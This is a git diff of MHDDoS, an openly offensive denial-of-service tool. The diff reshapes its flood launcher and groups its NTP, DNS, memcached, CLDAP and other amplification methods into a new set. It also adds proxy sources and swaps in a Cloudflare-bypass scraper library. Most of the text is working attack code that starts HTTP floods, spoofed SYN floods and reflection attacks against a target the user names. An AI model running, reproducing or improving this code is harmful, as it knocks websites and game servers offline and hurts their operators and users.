diff --git a/.github/ISSUE_TEMPLATE/bug_report.yml b/.github/ISSUE_TEMPLATE/bug_report.yml index 7d13a6b..382b925 100644 --- a/.github/ISSUE_TEMPLATE/bug_report.yml +++ b/.github/ISSUE_TEMPLATE/bug_report.yml @@ -44,11 +44,11 @@ body: render: true placeholder: | - OS: [e.g. Ubuntu] - - Installed Requirements Version [e.g. PySocks1.70] + - Installed Requirements Version [e.g. PyRoxy1.0b5] - Python Version [e.g. 3.8.x] value: | - OS: [e.g. Ubuntu] - - Installed Requirements Version [e.g. PySocks1.70] + - Installed Requirements Version [e.g. PyRoxy1.0b5] - Python Version [e.g. 3.8.x] validations: required: true diff --git a/.github/workflows/bandit.yml b/.github/workflows/bandit.yml deleted file mode 100644 index 99ba367..0000000 --- a/.github/workflows/bandit.yml +++ /dev/null @@ -1,29 +0,0 @@ -name: Security check - Bandit - -on: push - -jobs: - build: - runs-on: ubuntu-latest - strategy: - matrix: - os: [ ubuntu-latest, macos-latest ] - python-version: [ '3.8.12', '3.10' ] - name: Python ${{ matrix.python-version }} ${{ matrix.os }} - - steps: - - uses: actions/checkout@v2 - - - name: Security check - Bandit - uses: ././ - with: - python_version: ${{ matrix.python-version }} - project_path: . - ignore_failure: true - - - name: Security check report artifacts - uses: actions/upload-artifact@v1 - # if: failure() - with: - name: Security report - path: output/security_report.txt diff --git a/README.md b/README.md index ed2c564..90ee6cb 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -

aventium softworks

+

ddos

MHDDoS - DDoS Attack Script With 51 Methods

(Programming Language - Python 3)
diff --git a/config.json b/config.json index 7698b93..dfccd2b 100644 --- a/config.json +++ b/config.json @@ -1,7 +1,8 @@ { + "MCBOT": "MHDDoS_", "proxy-providers": [ {"type":4, "url": "https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4", "timeout": 5}, - {"type":4, "url": "https://api.proxyscrape.com/?request=displayproxies&proxytype=socks4", "timeout": 5}, + {"type":4, "url": "https://api.proxyscrape.com/?request=displayproxies&proxytype=socks4", "timeout": 5}, {"type":4, "url": "https://raw.githubusercontent.com/jetkai/proxy-list/main/online-proxies/txt/proxies-socks4.txt", "timeout": 5}, {"type":4, "url": "https://www.proxy-list.download/api/v1/get?type=socks4", "timeout": 5}, {"type":4, "url": "https://www.proxyscan.io/download?type=socks4", "timeout": 5}, @@ -13,14 +14,16 @@ {"type":4, "url": "https://raw.githubusercontent.com/TheSpeedX/SOCKS-List/master/socks4.txt", "timeout": 5}, {"type":4, "url": "http://www.socks24.org/feeds/posts/default", "timeout": 5}, {"type":4, "url": "https://www.freeproxychecker.com/result/socks4_proxies.txt", "timeout": 5}, + {"type":4, "url": "http://worm.rip/socks4.txt", "timeout": 5}, {"type":5, "url": "https://api.proxyscrape.com/?request=displayproxies&proxytype=socks5", "timeout": 5}, - {"type":5, "url": "https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks5", "timeout": 5}, + {"type":5, "url": "https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks5", "timeout": 5}, {"type":5, "url": "https://www.proxy-list.download/api/v1/get?type=socks5", "timeout": 5}, {"type":5, "url": "https://www.proxyscan.io/download?type=socks5", "timeout": 5}, {"type":5, "url": "https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/socks5.txt", "timeout": 5}, {"type":5, "url": "https://www.my-proxy.com/free-socks-5-proxy.html", "timeout": 5}, {"type":5, "url": "https://raw.githubusercontent.com/jetkai/proxy-list/main/online-proxies/txt/proxies-socks5.txt", "timeout": 5}, + {"type":5, "url": "https://github.com/roosterkid/openproxylist/blob/main/SOCKS5_RAW.txt", "timeout": 5}, {"type":5, "url": "https://api.openproxylist.xyz/socks5.txt", "timeout": 5}, {"type":5, "url": "https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/socks5.txt", "timeout": 5}, {"type":5, "url": "https://www.freeproxychecker.com/result/socks4_proxies.txt", "timeout": 5}, @@ -28,6 +31,7 @@ {"type":5, "url": "http://www.socks24.org/feeds/posts/default", "timeout": 5}, {"type":5, "url": "https://www.freeproxychecker.com/result/socks5_proxies.txt", "timeout": 5}, {"type":5, "url": "https://raw.githubusercontent.com/TheSpeedX/SOCKS-List/master/socks5.txt", "timeout": 5}, + {"type":5, "url": "http://worm.rip/socks5.txt", "timeout": 5}, {"type":1, "url": "https://api.proxyscrape.com/?request=displayproxies&proxytype=http", "timeout": 5}, @@ -60,14 +64,14 @@ {"type":1, "url": "https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/http.txt", "timeout": 5}, {"type":1, "url": "https://raw.githubusercontent.com/jetkai/proxy-list/main/online-proxies/txt/proxies-http.txt", "timeout": 5}, {"type":1, "url": "https://raw.githubusercontent.com/clarketm/proxy-list/master/proxy-list-raw.txt", "timeout": 5}, - {"type":1, "url": "https://raw.githubusercontent.com/sunny9577/proxy-scraper/master/proxies.txt", "timeout": 5}, - {"type":1, "url": "https://raw.githubusercontent.com/hookzof/socks5_list/master/proxy.txt", "timeout": 5}, - {"type":1, "url": "https://raw.githubusercontent.com/clarketm/proxy-list/master/proxy-list-raw.txt", "timeout": 5}, - {"type":1, "url": "https://raw.githubusercontent.com/opsxcq/proxy-list/master/list.txt", "timeout": 5}, - {"type":1, "url": "https://proxy-spider.com/api/proxies.example.txt", "timeout": 5}, - {"type":1, "url": "https://multiproxy.org/txt_all/proxy.txt", "timeout": 5}, - {"type":1, "url": "http://rootjazz.com/proxies/proxies.txt", "timeout": 5}, - {"type":1, "url": "https://raw.githubusercontent.com/clarketm/proxy-list/master/proxy-list-raw.txt", "timeout": 5} - + {"type":1, "url": "https://raw.githubusercontent.com/sunny9577/proxy-scraper/master/proxies.txt", "timeout": 5}, + {"type":1, "url": "https://raw.githubusercontent.com/hookzof/socks5_list/master/proxy.txt", "timeout": 5}, + {"type":1, "url": "https://raw.githubusercontent.com/clarketm/proxy-list/master/proxy-list-raw.txt", "timeout": 5}, + {"type":1, "url": "https://raw.githubusercontent.com/opsxcq/proxy-list/master/list.txt", "timeout": 5}, + {"type":1, "url": "https://proxy-spider.com/api/proxies.example.txt", "timeout": 5}, + {"type":1, "url": "https://multiproxy.org/txt_all/proxy.txt", "timeout": 5}, + {"type":1, "url": "http://rootjazz.com/proxies/proxies.txt", "timeout": 5}, + {"type":1, "url": "https://raw.githubusercontent.com/clarketm/proxy-list/master/proxy-list-raw.txt", "timeout": 5}, + {"type":1, "url": "http://worm.rip/http.txt", "timeout": 5} ] } diff --git a/requirements.txt b/requirements.txt index 4d8271c..b20e603 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,4 +1,4 @@ -cfscrape<=2.1.1 +cloudscraper==1.2.60 certifi<=2021.10.8 dnspython>=2.2.0 requests==2.27.1 diff --git a/start.py b/start.py index 4fa189e..af01f7e 100644 --- a/start.py +++ b/start.py @@ -27,13 +27,15 @@ from uuid import UUID, uuid4 from PyRoxy import Proxy, ProxyChecker, ProxyType, ProxyUtiles from PyRoxy import Tools as ProxyTools from certifi import where -from cfscrape import create_scraper +from cloudscraper import create_scraper from dns import resolver from icmplib import ping from impacket.ImpactPacket import IP, TCP, UDP, Data from psutil import cpu_percent, net_io_counters, process_iter, virtual_memory from requests import Response, Session, exceptions, get, cookies from yarl import URL +from re import compile + basicConfig(format='[%(asctime)s - %(levelname)s] %(message)s', datefmt="%H:%M:%S") @@ -48,26 +50,28 @@ __dir__: Path = Path(__file__).parent __ip__: Any = None +with open(__dir__ / "config.json") as f: + con = load(f) + def getMyIPAddress(): global __ip__ if __ip__: return __ip__ with suppress(Exception): - __ip__ = get('https://api.my-ip.io/ip', timeout=.1).text + return get('https://api.my-ip.io/ip', timeout=.1).text with suppress(Exception): - __ip__ = get('https://ipwhois.app/json/', timeout=.1).json()["ip"] + return get('https://ipwhois.app/json/', timeout=.1).json()["ip"] with suppress(Exception): - __ip__ = get('https://ipinfo.io/json', timeout=.1).json()["ip"] + return get('https://ipinfo.io/json', timeout=.1).json()["ip"] with suppress(Exception): - __ip__ = ProxyTools.Patterns.IP.search(get('http://checkip.dyndns.org/', timeout=.1).text) + return ProxyTools.Patterns.IP.search(get('http://checkip.dyndns.org/', timeout=.1).text) with suppress(Exception): - __ip__ = ProxyTools.Patterns.IP.search(get('https://spaceiran.com/myip/', timeout=.1).text) + return ProxyTools.Patterns.IP.search(get('https://spaceiran.com/myip/', timeout=.1).text) with suppress(Exception): - __ip__ = get('https://ip.42.pl/raw', timeout=.1).text + return get('https://ip.42.pl/raw', timeout=.1).text return getMyIPAddress() - class bcolors: HEADER = '\033[95m' OKBLUE = '\033[94m' @@ -95,11 +99,18 @@ class Methods: "APACHE", "XMLRPC", "BOT", "BOMB", "DOWNLOADER", "KILLER" } - LAYER4_METHODS: Set[str] = { - "TCP", "UDP", "SYN", "VSE", "MINECRAFT", "MEM", "NTP", "DNS", "ARD", - "CHAR", "RDP", "MCBOT", "CONNECTION", "CPS", "FIVEM", "TS3", "MCPE", - "CLDAP" + + LAYER4_AMP: Set[str] = { + "MEM", "NTP", "DNS", "ARD", + "CLDAP", "CHAR", "RDP" } + + + LAYER4_METHODS: Set[str] = {*LAYER4_AMP, + "TCP", "UDP", "SYN", "VSE", "MINECRAFT", + "MCBOT", "CONNECTION", "CPS", "FIVEM", "TS3", "MCPE" + } + ALL_METHODS: Set[str] = {*LAYER4_METHODS, *LAYER7_METHODS} @@ -134,6 +145,7 @@ BYTES_SEND = Counter() class Tools: + IP = compile("(?:\d{1,3}\.){3}\d{1,3}") @staticmethod def humanbytes(i: int, binary: bool = False, precision: int = 2): @@ -477,7 +489,7 @@ class Layer4(Thread): 2, ProxyTools.Random.rand_ipv4(), uuid4())) - Tools.send(s, Minecraft.login(f"MHDDoS_{ProxyTools.Random.rand_str(5)}")) + Tools.send(s, Minecraft.login(f"{con['MCBOT']}{ProxyTools.Random.rand_str(5)}")) sleep(1.5) c = 360 @@ -527,7 +539,7 @@ class Layer4(Thread): def _genrate_syn(self) -> bytes: ip: IP = IP() - ip.set_ip_src(getMyIPAddress()) + ip.set_ip_src(__ip__) ip.set_ip_dst(self._target[0]) tcp: TCP = TCP() tcp.set_SYN() @@ -621,7 +633,7 @@ class HttpFlood(Thread): 'Accept-Encoding: gzip, deflate, br\r\n' 'Accept-Language: en-US,en;q=0.9\r\n' 'Cache-Control: max-age=0\r\n' - 'Connection: Keep-Alive\r\n' + 'Connection: keep-alive\r\n' 'Sec-Fetch-Dest: document\r\n' 'Sec-Fetch-Mode: navigate\r\n' 'Sec-Fetch-Site: none\r\n' @@ -1388,162 +1400,167 @@ def handleProxyList(con, proxy_li, proxy_ty, url=None): if __name__ == '__main__': - with open(__dir__ / "config.json") as f: - con = load(f) - with suppress(KeyboardInterrupt): - with suppress(IndexError): - one = argv[1].upper() + with suppress(KeyboardInterrupt): + with suppress(IndexError): + one = argv[1].upper() - if one == "HELP": - raise IndexError() - if one == "TOOLS": - ToolsConsole.runConsole() - if one == "STOP": - ToolsConsole.stop() + if one == "HELP": + raise IndexError() + if one == "TOOLS": + ToolsConsole.runConsole() + if one == "STOP": + ToolsConsole.stop() - method = one - host = None - port= None - url = None - event = Event() - event.clear() - target = None - urlraw = argv[2].strip() - if not urlraw.startswith("http"): - urlraw = "http://" + urlraw + method = one + host = None + port= None + url = None + event = Event() + event.clear() + target = None + urlraw = argv[2].strip() + if not urlraw.startswith("http"): + urlraw = "http://" + urlraw - if method not in Methods.ALL_METHODS: - exit("Method Not Found %s" % - ", ".join(Methods.ALL_METHODS)) + if method not in Methods.ALL_METHODS: + exit("Method Not Found %s" % + ", ".join(Methods.ALL_METHODS)) - if method in Methods.LAYER7_METHODS: - url = URL(urlraw) - host = url.host - try: - host = gethostbyname(url.host) - except Exception as e: - exit('Cannot resolve hostname ', url.host, e) - threads = int(argv[4]) - rpc = int(argv[6]) - timer = int(argv[7]) - proxy_ty = int(argv[3].strip()) - proxy_li = Path(__dir__ / "files/proxies/" / - argv[5].strip()) - useragent_li = Path(__dir__ / "files/useragent.txt") - referers_li = Path(__dir__ / "files/referers.txt") - bombardier_path = Path.home() / "go/bin/bombardier" - proxies: Any = set() - if method == "BOMB": - assert ( - bombardier_path.exists() - or bombardier_path.with_suffix('.exe').exists() - ), ( - "Install bombardier: " - "https://github.com/MHProDev/MHDDoS/wiki/BOMB-method" - ) + if method in Methods.LAYER7_METHODS: + url = URL(urlraw) + host = url.host + try: + host = gethostbyname(url.host) + except Exception as e: + exit('Cannot resolve hostname ', url.host, e) + threads = int(argv[4]) + rpc = int(argv[6]) + timer = int(argv[7]) + proxy_ty = int(argv[3].strip()) + proxy_li = Path(__dir__ / "files/proxies/" / + argv[5].strip()) + useragent_li = Path(__dir__ / "files/useragent.txt") + referers_li = Path(__dir__ / "files/referers.txt") + bombardier_path = Path.home() / "go/bin/bombardier" + proxies: Any = set() - if len(argv) == 9: - logger.setLevel("DEBUG") + if method == "BOMB": + assert ( + bombardier_path.exists() + or bombardier_path.with_suffix('.exe').exists() + ), ( + "Install bombardier: " + "https://github.com/MHProDev/MHDDoS/wiki/BOMB-method" + ) - if not useragent_li.exists(): - exit("The Useragent file doesn't exist ") - if not referers_li.exists(): - exit("The Referer file doesn't exist ") + if len(argv) == 9: + logger.setLevel("DEBUG") - uagents = set(a.strip() - for a in useragent_li.open("r+").readlines()) - referers = set(a.strip() - for a in referers_li.open("r+").readlines()) + if not useragent_li.exists(): + exit("The Useragent file doesn't exist ") + if not referers_li.exists(): + exit("The Referer file doesn't exist ") - if not uagents: exit("Empty Useragent File ") - if not referers: exit("Empty Referer File ") + uagents = set(a.strip() + for a in useragent_li.open("r+").readlines()) + referers = set(a.strip() + for a in referers_li.open("r+").readlines()) - if threads > 1000: - logger.warning("Thread is higher than 1000") - if rpc > 100: - logger.warning( - "RPC (Request Pre Connection) is higher than 100") + if not uagents: exit("Empty Useragent File ") + if not referers: exit("Empty Referer File ") - proxies = handleProxyList(con, proxy_li, proxy_ty, url) - for thread_id in range(threads): - HttpFlood(thread_id, url, host, method, rpc, event, - uagents, referers, proxies).start() + if threads > 1000: + logger.warning("Thread is higher than 1000") + if rpc > 100: + logger.warning( + "RPC (Request Pre Connection) is higher than 100") - if method in Methods.LAYER4_METHODS: - target = URL(urlraw) + proxies = handleProxyList(con, proxy_li, proxy_ty, url) + for thread_id in range(threads): + HttpFlood(thread_id, url, host, method, rpc, event, + uagents, referers, proxies).start() - port = target.port - target = target.host + if method in Methods.LAYER4_METHODS: + target = URL(urlraw) - try: - target = gethostbyname(target) - except Exception as e: - exit('Cannot resolve hostname ', url.host, e) + port = target.port + target = target.host - if port > 65535 or port < 1: - exit("Invalid Port [Min: 1 / Max: 65535] ") + try: + target = gethostbyname(target) + except Exception as e: + exit('Cannot resolve hostname ', url.host, e) - if method in {"NTP", "DNS", "RDP", "CHAR", "MEM", "CLDAP", "ARD", "SYN"} and \ - not ToolsConsole.checkRawSocket(): - exit("Cannot Create Raw Socket") + if port > 65535 or port < 1: + exit("Invalid Port [Min: 1 / Max: 65535] ") - threads = int(argv[3]) - timer = int(argv[4]) - proxies = None - ref = None - if not port: - logger.warning("Port Not Selected, Set To Default: 80") - port = 80 + if method in {"NTP", "DNS", "RDP", "CHAR", "MEM", "CLDAP", "ARD", "SYN"} and \ + not ToolsConsole.checkRawSocket(): + exit("Cannot Create Raw Socket") - if len(argv) >= 6: - argfive = argv[5].strip() - if argfive: - refl_li = Path(__dir__ / "files" / argfive) - if method in {"NTP", "DNS", "RDP", "CHAR", "MEM", "CLDAP", "ARD"}: - if not refl_li.exists(): - exit("The reflector file doesn't exist") - if len(argv) == 7: - logger.setLevel("DEBUG") - ref = set(a.strip() - for a in ProxyTools.Patterns.IP.findall( - refl_li.open("r+").read())) - if not ref: exit("Empty Reflector File ") + if method in Methods.LAYER4_AMP: + logger.warning("this method need spoofable servers please check") + logger.warning("https://github.com/MHProDev/MHDDoS/wiki/Amplification-ddos-attack") - elif argfive.isdigit() and len(argv) >= 7: - if len(argv) == 8: - logger.setLevel("DEBUG") - proxy_ty = int(argfive) - proxy_li = Path(__dir__ / "files/proxies" / argv[6].strip()) - proxies = handleProxyList(con, proxy_li, proxy_ty) - if method not in {"MINECRAFT", "MCBOT", "TCP", "CPS", "CONNECTION"}: - exit("this method cannot use for layer4 proxy") + threads = int(argv[3]) + timer = int(argv[4]) + proxies = None + ref = None - else: - logger.setLevel("DEBUG") + if not port: + logger.warning("Port Not Selected, Set To Default: 80") + port = 80 - for _ in range(threads): - Layer4((target, port), ref, method, event, - proxies).start() + if method == "SYN": + __ip__ = getMyIPAddress() - logger.info( - f"{bcolors.WARNING}Attack Started to{bcolors.OKBLUE} %s{bcolors.WARNING} with{bcolors.OKBLUE} %s{bcolors.WARNING} method for{bcolors.OKBLUE} %s{bcolors.WARNING} seconds, threads:{bcolors.OKBLUE} %d{bcolors.WARNING}!{bcolors.RESET}" - % (target or url.host, method, timer, threads)) - event.set() - ts = time() - while time() < ts + timer: - logger.debug(f'{bcolors.WARNING}Target:{bcolors.OKBLUE} %s,{bcolors.WARNING} Port:{bcolors.OKBLUE} %s,{bcolors.WARNING} Method:{bcolors.OKBLUE} %s{bcolors.WARNING} PPS:{bcolors.OKBLUE} %s,{bcolors.WARNING} BPS:{bcolors.OKBLUE} %s / %d%%{bcolors.RESET}' % - (target or url.host, - port or (url.port or 80), - method, - Tools.humanformat(int(REQUESTS_SENT)), - Tools.humanbytes(int(BYTES_SEND)), - round((time() - ts) / timer * 100, 2))) - REQUESTS_SENT.set(0) - BYTES_SEND.set(0) - sleep(1) + if len(argv) >= 6: + argfive = argv[5].strip() + if argfive: + refl_li = Path(__dir__ / "files" / argfive) + if method in {"NTP", "DNS", "RDP", "CHAR", "MEM", "CLDAP", "ARD"}: + if not refl_li.exists(): + exit("The reflector file doesn't exist") + if len(argv) == 7: + logger.setLevel("DEBUG") + ref = set(a.strip() + for a in Tools.IP.findall(refl_li.open("r").read())) + if not ref: exit("Empty Reflector File ") - event.clear() - exit() + elif argfive.isdigit() and len(argv) >= 7: + if len(argv) == 8: + logger.setLevel("DEBUG") + proxy_ty = int(argfive) + proxy_li = Path(__dir__ / "files/proxies" / argv[6].strip()) + proxies = handleProxyList(con, proxy_li, proxy_ty) + if method not in {"MINECRAFT", "MCBOT", "TCP", "CPS", "CONNECTION"}: + exit("this method cannot use for layer4 proxy") - ToolsConsole.usage() + else: + logger.setLevel("DEBUG") + for _ in range(threads): + Layer4((target, port), ref, method, event, + proxies).start() + + logger.info( + f"{bcolors.WARNING}Attack Started to{bcolors.OKBLUE} %s{bcolors.WARNING} with{bcolors.OKBLUE} %s{bcolors.WARNING} method for{bcolors.OKBLUE} %s{bcolors.WARNING} seconds, threads:{bcolors.OKBLUE} %d{bcolors.WARNING}!{bcolors.RESET}" + % (target or url.host, method, timer, threads)) + event.set() + ts = time() + while time() < ts + timer: + logger.debug(f'{bcolors.WARNING}Target:{bcolors.OKBLUE} %s,{bcolors.WARNING} Port:{bcolors.OKBLUE} %s,{bcolors.WARNING} Method:{bcolors.OKBLUE} %s{bcolors.WARNING} PPS:{bcolors.OKBLUE} %s,{bcolors.WARNING} BPS:{bcolors.OKBLUE} %s / %d%%{bcolors.RESET}' % + (target or url.host, + port or (url.port or 80), + method, + Tools.humanformat(int(REQUESTS_SENT)), + Tools.humanbytes(int(BYTES_SEND)), + round((time() - ts) / timer * 100, 2))) + REQUESTS_SENT.set(0) + BYTES_SEND.set(0) + sleep(1) + + event.clear() + exit() + + ToolsConsole.usage()